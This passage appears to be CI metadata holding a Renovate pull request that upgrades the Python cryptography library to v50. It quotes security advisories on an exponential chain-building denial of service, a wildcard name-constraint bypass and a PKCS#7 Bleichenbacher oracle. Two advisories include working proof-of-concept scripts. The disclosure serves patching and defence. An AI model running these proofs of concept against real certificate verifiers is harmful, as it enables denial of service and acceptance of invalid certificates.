          \   key_agreement=False,\n    key_cert_sign=False,\n    crl_sign=False,\n
          \   encipher_only=False,\n    decipher_only=False,\n)\n\ndef name(common_name):\n
          \   return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, common_name)])\n\ndef
          base_builder(subject, issuer, public_key, serial):\n    return (\n        x509.CertificateBuilder()\n
          \       .subject_name(subject)\n        .issuer_name(issuer)\n        .public_key(public_key)\n
          \       .serial_number(serial)\n        .not_valid_before(NOW - datetime.timedelta(days=1))\n
          \       .not_valid_after(NOW + datetime.timedelta(days=30))\n    )\n\ndef
          make_ca(common_name, serial):\n    private_key = ec.generate_private_key(ec.SECP256R1())\n
          \   subject = name(common_name)\n    cert = (\n        base_builder(subject,
          subject, private_key.public_key(), serial)\n        .add_extension(x509.BasicConstraints(ca=True,
          path_length=None), True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n
          \           x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n
          \           False,\n        )\n        .sign(private_key, hashes.SHA256())\n
          \   )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n
          \   private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n
          \       base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(),
          100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None),
          True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]),
          False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n
          \           False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]),
          False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n
          \   looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _,
          unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key,
          looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates,
          max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n
          \   verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n
          \       .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n
          \   )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf,
          [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n
          \       result = \"rejected\"\n    queue.put((result, time.perf_counter()
          - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n
          \   process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates,
          max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n
          \   if process.is_alive():\n        process.terminate()\n        process.join()\n
          \       print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n
          \   result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif
          __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n
          \   for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7),
          (6, 6)]:\n        run_case(*case)\n```\n\n##### Impact\nThis issue exposes
          an amplification pathway over data that in many applications may be user-controlled,
          leading to the possibility of a denial of service through resource exhaustion.
          As the correctness of validation is not affected, the integrity of a system
          cannot be compromised through this vector, only its availability.\n\n####
          Severity\n- CVSS Score: 8.7 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww)\n-
          [https://github.com/pyca/cryptography/pull/14960](https://redirect.github.com/pyca/cryptography/pull/14960)\n-
          [https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582](https://redirect.github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n-
          [https://pypi.org/project/cryptography](https://pypi.org/project/cryptography)\n-
          [https://github.com/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3553)
          and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).\n</details>\n\n---\n\n###
          python-cryptography verifier accepts wildcard DNS names allowing escape
          from permittedSubtrees\n[CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)
          / [GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)
          / PYSEC-2026-3554\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\nIf an intermediate constrained CA permits the DNS
          name `foo.example.com`, and the leaf certificate has a wildcard in its DNS
          SAN of `*.example.com`, python-cryptography's verifier accepts which allows
          escaping outside of the permitted names.\n\n##### PoC\n\n```\n\n#!/usr/bin/env
          python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad
          wildcard SAN.\n\nSetup:\n  Sub-CA permitted constraint: dNSName = foo.example.com\n
          \ Leaf SAN:                    dNSName = *.example.com\nExpected: rejection
          (RFC 5280 \xA74.2.1.10 + standard wildcard semantics).\nObserved: pyca accepts;
          further, asks server-verifier whether the leaf is\nauthoritative for `bar.example.com`
          and pyca answers yes \u2014 a sub-CA scope\nescape.\n\"\"\"\nimport datetime\nfrom
          cryptography import x509\nfrom cryptography.x509.oid import NameOID\nfrom
          cryptography.hazmat.primitives import hashes\nfrom cryptography.hazmat.primitives.asymmetric
          import ec\nfrom cryptography.x509.verification import (\n    PolicyBuilder,
          Store, ExtensionPolicy, Criticality, VerificationError,\n)\n\nnow = datetime.datetime(2027,
          1, 1, tzinfo=datetime.timezone.utc)\nday = datetime.timedelta(days=1)\n\ndef
          build(subject, issuer, key, issuer_key, ca, exts=()):\n    b = (x509.CertificateBuilder()\n
          \        .subject_name(subject).issuer_name(issuer)\n         .public_key(key.public_key())\n
          \        .serial_number(x509.random_serial_number())\n         .not_valid_before(now
          - 30 * day)\n         .not_valid_after(now + 3650 * day)\n         .add_extension(x509.BasicConstraints(ca=ca,
          path_length=None), critical=True))\n    for e, c in exts:\n        b = b.add_extension(e,
          c)\n    return b.sign(issuer_key, hashes.SHA256())\n\n##### Root\nrk = ec.generate_private_key(ec.SECP256R1())\nrn
          = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, \"Test Root\")])\nroot
          = build(rn, rn, rk, rk, True)\n\n##### Sub-CA constrained to foo.example.com\nsk
          = ec.generate_private_key(ec.SECP256R1())\nsn = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Sub-CA\")])\nnc = x509.NameConstraints(\n    permitted_subtrees=[x509.DNSName(\"foo.example.com\")],\n
          \   excluded_subtrees=None,\n)\nsub = build(sn, rn, sk, rk, True, [(nc,
          True)])\n\n##### Leaf with SAN *.example.com (over-broad relative to the
          constraint)\nlk = ec.generate_private_key(ec.SECP256R1())\nln = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
          \"Leaf\")])\nsan = x509.SubjectAlternativeName([x509.DNSName(\"*.example.com\")])\nleaf
          = build(ln, sn, lk, sk, False, [(san, False)])\n\n##### Policies\nca_pol
          = ExtensionPolicy.permit_all().require_present(\n    x509.BasicConstraints,
          Criticality.AGNOSTIC, None,\n)\nee_pol = ExtensionPolicy.permit_all().require_present(\n
          \   x509.SubjectAlternativeName, Criticality.AGNOSTIC, None,\n)\nv = (\n
          \   PolicyBuilder()\n    .store(Store([root]))\n    .time(now)\n    .extension_policies(ca_policy=ca_pol,
          ee_policy=ee_pol)\n    .build_server_verifier(x509.DNSName(\"bar.example.com\"))\n)\ntry:\n
          \   v.verify(leaf, [sub])\n    print(\"BUG: pyca trusted leaf as bar.example.com
          though sub-CA was constrained to foo.example.com\")\nexcept VerificationError
          as e:\n    print(f\"EXPECTED: VerificationError: {e}\")\n```\n\n##### Impact\n\nAcceptance
          of invalid certificate chain.\n\n#### Severity\n- CVSS Score: 6.9 / 10 (Medium)\n-
          Vector String: `CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:P`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-m2h6-j472-rp4c)\n-
          [https://github.com/pyca/cryptography/pull/14888](https://redirect.github.com/pyca/cryptography/pull/14888)\n-
          [https://github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2](https://redirect.github.com/pyca/cryptography/commit/4d035a4225965edeffd312079a510ef25fcfdcb2)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n-
          [https://pypi.org/project/cryptography](https://pypi.org/project/cryptography)\n-
          [https://github.com/advisories/GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3554)
          and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).\n</details>\n\n---\n\n###
          cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle
          through distinguishable errors and timing\n[CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)
          / [GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)
          / PYSEC-2026-3552\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\n\n`pkcs7_decrypt_der`, `pkcs7_decrypt_pem`, and
          `pkcs7_decrypt_smime` reported the\noutcome of decrypting a `RecipientInfo`'s
          `encryptedKey` in several\ndistinguishable ways, one of which disclosed
          the exact length recovered from the\nRSA operation. The same distinction
          was also observable by timing. An\napplication that decrypts attacker-supplied
          `EnvelopedData` and reflects the\noutcome gives the attacker a Bleichenbacher
          oracle against the\ncontent-encryption key.\n\nIntroduced in 44.0.0. Fixed
          in 50.0.0.\n\n##### Details\n\nDecryption ran as: RSA PKCS#1 v1.5 decrypt
          of `encryptedKey` \u2192 build an AES\ncipher from the result \u2192 AES-CBC
          decrypt and PKCS#7 unpad. Each stage failed\ndifferently, with no RFC 3218
          mitigation:\n\n1. invalid RSA padding \u2192 `Decryption failed`\n2. valid
          padding, bad key length \u2192 `Invalid key size (N) for AES.`, disclosing
          `N`\n3. correct length, wrong key \u2192 `Invalid padding bytes.`\n4. the
          real key \u2192 plaintext\n\nCase 1 is reachable only where the linked library
          lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL.
          On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead returns a
          synthetic plaintext of\npseudorandom length, so the error channel does not
          distinguish conforming\nciphertexts.\n\nExploitation requires a service
          that auto-decrypts untrusted `EnvelopedData`\nmatching the victim certificate
          and answers adaptively at high volume, such as\nan S/MIME gateway or mail
          filter.\n\n##### Fix\n\nPer RFC 3218, the content-encryption algorithm is
          now resolved before the\nprivate key is used, so the expected key length
          is known in advance. If the RSA\ndecryption fails or recovers a key of the
          wrong length, a random key of the\nexpected length is substituted and decryption
          continues down an identical path.\nAll failures now report identically and
          perform the same work.\n\n##### Not addressed by this fix\n\n`EnvelopedData`
          does not authenticate its content. Tampering with\n`encryptedContent` alone
          yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries
          per byte, without recovering any key, on every backend. This\nis a property
          of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library,
          and is now documented.\n\n##### Credit\n\nReported by @&#8203;X1AOxiang.\n\n####
          Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5)\n-
          [https://github.com/pyca/cryptography/pull/15369](https://redirect.github.com/pyca/cryptography/pull/15369)\n-
          [https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f](https://redirect.github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/GHSA-g6cj-pr64-35w5)
          and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
          cryptography: PKCS#7 EnvelopedData decryption exposes a Bleichenbacher oracle
          through distinguishable errors and timing\n[CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)
          / [GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)
          / PYSEC-2026-3552\n\n<details>\n<summary>More information</summary>\n\n####
          Details\n##### Summary\n\n`pkcs7_decrypt_der`, `pkcs7_decrypt_pem`, and
          `pkcs7_decrypt_smime` reported the\noutcome of decrypting a `RecipientInfo`'s
          `encryptedKey` in several\ndistinguishable ways, one of which disclosed
          the exact length recovered from the\nRSA operation. The same distinction
          was also observable by timing. An\napplication that decrypts attacker-supplied
          `EnvelopedData` and reflects the\noutcome gives the attacker a Bleichenbacher
          oracle against the\ncontent-encryption key.\n\nIntroduced in 44.0.0. Fixed
          in 50.0.0.\n\n##### Details\n\nDecryption ran as: RSA PKCS#1 v1.5 decrypt
          of `encryptedKey` \u2192 build an AES\ncipher from the result \u2192 AES-CBC
          decrypt and PKCS#7 unpad. Each stage failed\ndifferently, with no RFC 3218
          mitigation:\n\n1. invalid RSA padding \u2192 `Decryption failed`\n2. valid
          padding, bad key length \u2192 `Invalid key size (N) for AES.`, disclosing
          `N`\n3. correct length, wrong key \u2192 `Invalid padding bytes.`\n4. the
          real key \u2192 plaintext\n\nCase 1 is reachable only where the linked library
          lacks implicit rejection:\nOpenSSL 3.0 and 3.1, LibreSSL, and BoringSSL.
          On OpenSSL 3.2+, used in our wheels,\ninvalid padding instead returns a
          synthetic plaintext of\npseudorandom length, so the error channel does not
          distinguish conforming\nciphertexts.\n\nExploitation requires a service
          that auto-decrypts untrusted `EnvelopedData`\nmatching the victim certificate
          and answers adaptively at high volume, such as\nan S/MIME gateway or mail
          filter.\n\n##### Fix\n\nPer RFC 3218, the content-encryption algorithm is
          now resolved before the\nprivate key is used, so the expected key length
          is known in advance. If the RSA\ndecryption fails or recovers a key of the
          wrong length, a random key of the\nexpected length is substituted and decryption
          continues down an identical path.\nAll failures now report identically and
          perform the same work.\n\n##### Not addressed by this fix\n\n`EnvelopedData`
          does not authenticate its content. Tampering with\n`encryptedContent` alone
          yields a CBC padding oracle that recovers plaintext at\nroughly 256 queries
          per byte, without recovering any key, on every backend. This\nis a property
          of PKCS#7 rather than of this implementation, cannot be fixed in\nthe library,
          and is now documented.\n\n##### Credit\n\nReported by @&#8203;X1AOxiang.\n\n####
          Severity\n- CVSS Score: 8.2 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:H/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N`\n\n####
          References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-g6cj-pr64-35w5)\n-
          [https://github.com/pyca/cryptography/pull/15369](https://redirect.github.com/pyca/cryptography/pull/15369)\n-
          [https://github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f](https://redirect.github.com/pyca/cryptography/commit/53fccd93413a8d7f07d6d8999681f27b75cffa3f)\n-
          [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n-
          [https://pypi.org/project/cryptography](https://pypi.org/project/cryptography)\n-
          [https://github.com/advisories/GHSA-g6cj-pr64-35w5](https://redirect.github.com/advisories/GHSA-g6cj-pr64-35w5)\n-
          [https://nvd.nist.gov/vuln/detail/CVE-2026-69247](https://nvd.nist.gov/vuln/detail/CVE-2026-69247)\n\nThis
          data is provided by [OSV](https://osv.dev/vulnerability/PYSEC-2026-3552)
          and the [PyPI Advisory Database](https://redirect.github.com/pypa/advisory-database)
          ([CC-BY 4.0](https://redirect.github.com/pypa/advisory-database/blob/main/LICENSE)).\n</details>\n\n---\n\n###
          Release Notes\n\n<details>\n<summary>pyca/cryptography (cryptography)</summary>\n\n###
          [`v50.0.0`](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/49.0.0...50.0.0)\n\n###
          [`v49.0.0`](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n[Compare
          Source](https://redirect.github.com/pyca/cryptography/compare/48.0.1...49.0.0)\n\n</details>\n\n---\n\n###
          Configuration\n\n\U0001F4C5 **Schedule**: (UTC)\n\n- Branch creation\n  -
          At any time (no schedule defined)\n- Automerge\n  - At any time (no schedule
          defined)\n\n\U0001F6A6 **Automerge**: Disabled by config. Please merge this
          manually once you are satisfied.\n\n\u267B **Rebasing**: Whenever PR becomes
          conflicted, or you tick the rebase/retry checkbox.\n\n\U0001F515 **Ignore**:
          Close this PR and you won't be reminded about this update again.\n\n---\n\n
          - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this
          box\n\n---\n\nThis PR was generated by [Mend Renovate](https://mend.io/renovate/).
          View the [repository job log](https://developer.mend.io/github/osism/container-image-osism-ansible).\n<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC4zLjIiLCJ1cGRhdGVkSW5WZXIiOiI0NC4xMS40IiwidGFyZ2V0QnJhbmNoIjoibWFpbiIsImxhYmVscyI6WyJyZW5vdmF0ZSJdfQ==-->\n"
        change_url: https://github.com/osism/container-image-osism-ansible/pull/767
        commit_id: 016ecb4e731a9b374f93a3841fcc28a4b883e46b
        patchset: 016ecb4e731a9b374f93a3841fcc28a4b883e46b
        project:
          canonical_hostname: github.com
          canonical_name: github.com/osism/container-image-osism-ansible
          name: osism/container-image-osism-ansible
          short_name: container-image-osism-ansible
        src_dir: src/github.com/osism/container-image-osism-ansible
        topic: null
      change: '767'
      change_message: "chore(deps): update dependency cryptography to v50 [security]\n\nThis
        PR contains the following updates:\n\n| Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/)
        | [Confidence](https://docs.renovatebot.com/merge-confidence/) |\n|---|---|---|---|\n|
        [cryptography](https://redirect.github.com/pyca/cryptography) ([changelog](https://cryptography.io/en/latest/changelog/))
        | `==48.0.1` \u2192 `==50.0.0` | ![age](https://developer.mend.io/api/mc/badges/age/pypi/cryptography/50.0.0?slim=true)
        | ![confidence](https://developer.mend.io/api/mc/badges/confidence/pypi/cryptography/48.0.1/50.0.0?slim=true)
        |\n\n---\n\n### python-cryptography: Duplicate self-signed intermediates can
        cause exponential path-building\n[CVE-2026-69249](https://nvd.nist.gov/vuln/detail/CVE-2026-69249)
        / [GHSA-jwv3-5hgf-82ww](https://redirect.github.com/advisories/GHSA-jwv3-5hgf-82ww)
        / PYSEC-2026-3553\n\n<details>\n<summary>More information</summary>\n\n####
        Details\n##### Summary\nWhen resolving invalid certificate chains that include
        duplicate copies of self-signed certificates, the processing recursively invokes
        the same candidate, leading to an exponential blowup. Although the limitation
        that the chain depth cannot exceed a specified maximum depth prevents unbounded
        recursion and guarantees termination, an attacker-controlled certificate chain
        can lead the processing to easily take more than 5s to reject in testing.
        This amplification could form the basis for a resource exhaustion denial of
        service attack.\n\nThis work was completed by Trail of Bits as part of the
        Patch The Planet project in collaboration with OpenAI. The finding was identified
        primarily by the Codex coding agent, and manually reviewed before submission.
        \n\n##### Details\nThe core issue arises in the recursive nature of `build_chain_inner`,
        which does not de-duplicate against previously analyzed candidates.\n\n```python\n
        \   fn build_chain_inner(\n        &self,\n        working_cert: &VerificationCertificate<'chain,
        B>,\n        current_depth: u8,\n        working_cert_extensions: &Extensions<'chain>,\n
        \       name_chain: NameChain<'_, 'chain>,\n        budget: &mut Budget,\n
        \   ) -> ValidationResult<'chain, Chain<'chain, B>, B> {\n        if let Some(nc)
        = working_cert_extensions.get_extension(&NAME_CONSTRAINTS_OID) {\n            name_chain.evaluate_constraints(&nc.value()?,
        budget)?;\n        }\n\n        // Look in the store's root set to see if
        the working cert is listed.\n        // If it is, we've reached the end.\n
        \       if self.store.contains(working_cert) {\n            return Ok(vec![working_cert.clone()]);\n
        \       }\n\n        // Check that our current depth does not exceed our policy-configured\n
        \       // max depth. We do this after the root set check, since the depth\n
        \       // only measures the intermediate chain's length, not the root or
        leaf.\n        if current_depth > self.policy.max_chain_depth {\n            return
        Err(ValidationError::new(ValidationErrorKind::Other(\n                \"chain
        construction exceeds max depth\".into(),\n            )));\n        }\n\n
        \       // Otherwise, we collect a list of potential issuers for this cert,\n
        \       // and continue with the first that verifies.\n        let mut last_err:
        Option<ValidationError<'_, B>> = None;\n        for issuing_cert_candidate
        in self.potential_issuers(working_cert) {\n            // A candidate issuer
        is said to verify if it both\n            // signs for the working certificate
        and conforms to the\n            // policy.\n            let issuer_extensions
        = issuing_cert_candidate.certificate().extensions()?;\n            match self.policy.valid_issuer(\n
        \               issuing_cert_candidate,\n                working_cert,\n                current_depth,\n
        \               &issuer_extensions,\n            ) {\n                Ok(_)
        => {\n                    match self.build_chain_inner(\n```\n\nA sufficient
        patch is to track valid issuers, and to skip seen ones before recursing. By
        tracking valid issuers only, validation and custom extension-policy callbacks
        still run.\n\n```rust\n          let mut seen_valid_issuers = Vec::<&VerificationCertificate<'chain,
        B>>::new();\n          for issuing_cert_candidate in self.potential_issuers(working_cert)
        {\n          . . .\n                  Ok(_) => {\n                      if
        seen_valid_issuers.contains(&issuing_cert_candidate) {\n                         continue;\n
        \                     }\n                      seen_valid_issuers.push(issuing_cert_candidate);\n
        \n                      match self.build_chain_inner(\n                          issuing_cert_candidate,\n
        \                         // NOTE(ww): According to RFC 5280, we should only\n```\n\nIn
        testing, this fix removed the exponential blowup without breaking apparent
        correctness. \n\n```\nduplicates,max_depth,result,seconds\n1,7,rejected,0.000464
        -> 1,7,rejected,0.000667\n2,7,rejected,0.025154 -> 2,7,rejected,0.001229\n3,7,rejected,0.489924
        -> 3,7,rejected,0.001619 \n4,7,rejected,4.309403 -> 4,7,rejected,0.002144\n3,8,rejected,1.468193
        -> 3,8,rejected,0.001811\n4,8,timeout>5s,       -> 4,8,rejected,0.002410\n5,7,timeout>5s,
        \      -> 5,7,rejected,0.002640\n6,6,timeout>5s,       -> 6,6,rejected,0.002829\n```\n\n#####
        PoC\nThe following script benchmarks processing times for malicious cert chains.\n\n```python\nimport
        datetime\nimport multiprocessing\nimport time\n\nimport cryptography\nfrom
        cryptography import x509\nfrom cryptography.hazmat.primitives import hashes\nfrom
        cryptography.hazmat.primitives.asymmetric import ec\nfrom cryptography.x509.oid
        import ExtendedKeyUsageOID, NameOID\nfrom cryptography.x509.verification import
        (\n    DNSName,\n    PolicyBuilder,\n    Store,\n    VerificationError,\n)\n\nNOW
        = datetime.datetime(2024, 1, 1, tzinfo=datetime.timezone.utc)\nTIMEOUT = 5\nCA_KEY_USAGE
        = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
        \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
        \   key_cert_sign=True,\n    crl_sign=True,\n    encipher_only=False,\n    decipher_only=False,\n)\nEE_KEY_USAGE
        = x509.KeyUsage(\n    digital_signature=True,\n    content_commitment=False,\n
        \   key_encipherment=False,\n    data_encipherment=False,\n    key_agreement=False,\n
        \   key_cert_sign=False,\n    crl_sign=False,\n    encipher_only=False,\n
        \   decipher_only=False,\n)\n\ndef name(common_name):\n    return x509.Name([x509.NameAttribute(NameOID.COMMON_NAME,
        common_name)])\n\ndef base_builder(subject, issuer, public_key, serial):\n
        \   return (\n        x509.CertificateBuilder()\n        .subject_name(subject)\n
        \       .issuer_name(issuer)\n        .public_key(public_key)\n        .serial_number(serial)\n
        \       .not_valid_before(NOW - datetime.timedelta(days=1))\n        .not_valid_after(NOW
        + datetime.timedelta(days=30))\n    )\n\ndef make_ca(common_name, serial):\n
        \   private_key = ec.generate_private_key(ec.SECP256R1())\n    subject = name(common_name)\n
        \   cert = (\n        base_builder(subject, subject, private_key.public_key(),
        serial)\n        .add_extension(x509.BasicConstraints(ca=True, path_length=None),
        True)\n        .add_extension(CA_KEY_USAGE, True)\n        .add_extension(\n
        \           x509.SubjectKeyIdentifier.from_public_key(private_key.public_key()),\n
        \           False,\n        )\n        .sign(private_key, hashes.SHA256())\n
        \   )\n    return private_key, cert\n\ndef make_leaf(issuer_key, issuer_cert):\n
        \   private_key = ec.generate_private_key(ec.SECP256R1())\n    return (\n
        \       base_builder(name(\"leaf\"), issuer_cert.subject, private_key.public_key(),
        100)\n        .add_extension(x509.BasicConstraints(ca=False, path_length=None),
        True)\n        .add_extension(EE_KEY_USAGE, True)\n        .add_extension(x509.SubjectAlternativeName([x509.DNSName(\"example.com\")]),
        False)\n        .add_extension(\n            x509.AuthorityKeyIdentifier.from_issuer_public_key(issuer_key.public_key()),\n
        \           False,\n        )\n        .add_extension(x509.ExtendedKeyUsage([ExtendedKeyUsageOID.SERVER_AUTH]),
        False)\n        .sign(issuer_key, hashes.SHA256())\n    )\n\ndef build_material():\n
        \   looping_key, looping_ca = make_ca(\"looping self-signed CA\", 1)\n    _,
        unrelated_root = make_ca(\"unrelated trust anchor\", 2)\n    leaf = make_leaf(looping_key,
        looping_ca)\n    return leaf, looping_ca, unrelated_root\n\ndef verify_case(duplicates,
        max_depth, queue):\n    leaf, looping_ca, unrelated_root = build_material()\n
        \   verifier = (\n        PolicyBuilder()\n        .store(Store([unrelated_root]))\n
        \       .time(NOW)\n        .max_chain_depth(max_depth)\n        .build_server_verifier(DNSName(\"example.com\"))\n
        \   )\n\n    start = time.perf_counter()\n    try:\n        verifier.verify(leaf,
        [looping_ca] * duplicates)\n        result = \"accepted\"\n    except VerificationError:\n
        \       result = \"rejected\"\n    queue.put((result, time.perf_counter()
        - start))\n\ndef run_case(duplicates, max_depth):\n    queue = multiprocessing.Queue()\n
        \   process = multiprocessing.Process(\n        target=verify_case,\n        args=(duplicates,
        max_depth, queue),\n    )\n    process.start()\n    process.join(TIMEOUT)\n\n
        \   if process.is_alive():\n        process.terminate()\n        process.join()\n
        \       print(f\"{duplicates},{max_depth},timeout>{TIMEOUT}s,\")\n        return\n\n
        \   result, elapsed = queue.get()\n    print(f\"{duplicates},{max_depth},{result},{elapsed:.6f}\")\n\nif
        __name__ == \"__main__\":\n    print(\"duplicates,max_depth,result,seconds\")\n
        \   for case in [(1, 7), (2, 7), (3, 7), (4, 7), (3, 8), (4, 8), (5, 7), (6,
        6)]:\n        run_case(*case)\n```\n\n##### Impact\nThis issue exposes an
        amplification pathway over data that in many applications may be user-controlled,
        leading to the possibility of a denial of service through resource exhaustion.
        As the correctness of validation is not affected, the integrity of a system
        cannot be compromised through this vector, only its availability.\n\n####
        Severity\n- CVSS Score: 8.7 / 10 (High)\n- Vector String: `CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N`\n\n####
        References\n- [https://github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww](https://redirect.github.com/pyca/cryptography/security/advisories/GHSA-jwv3-5hgf-82ww)\n-
        [https://github.com/pyca/cryptography/pull/14960](https://redirect.github.com/pyca/cryptography/pull/14960)\n-
        [https://github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582](https://redirect.github.com/pyca/cryptography/commit/4a12cf49675a184e47f912b00b04f3a629283582)\n-
        [https://github.com/pyca/cryptography](https://redirect.github.com/pyca/cryptography)\n\nThis
        data is provided by [OSV](https://osv.dev/vulnerability/GHSA-jwv3-5hgf-82ww)
        and the [GitHub Advisory Database](https://redirect.github.com/github/advisory-database)
        ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)).\n</details>\n\n---\n\n###
        python-cryptography verifier accepts wildcard DNS names allowing escape from
        permittedSubtrees\n[CVE-2026-69248](https://nvd.nist.gov/vuln/detail/CVE-2026-69248)
        / [GHSA-m2h6-j472-rp4c](https://redirect.github.com/advisories/GHSA-m2h6-j472-rp4c)
        / PYSEC-2026-3554\n\n<details>\n<summary>More information</summary>\n\n####
        Details\n##### Summary\nIf an intermediate constrained CA permits the DNS
        name `foo.example.com`, and the leaf certificate has a wildcard in its DNS
        SAN of `*.example.com`, python-cryptography's verifier accepts which allows
        escaping outside of the permitted names.\n\n##### PoC\n\n```\n\n#!/usr/bin/env
        python3\n\"\"\"Standalone PoC: pyca's DNSConstraint::matches admits a too-broad
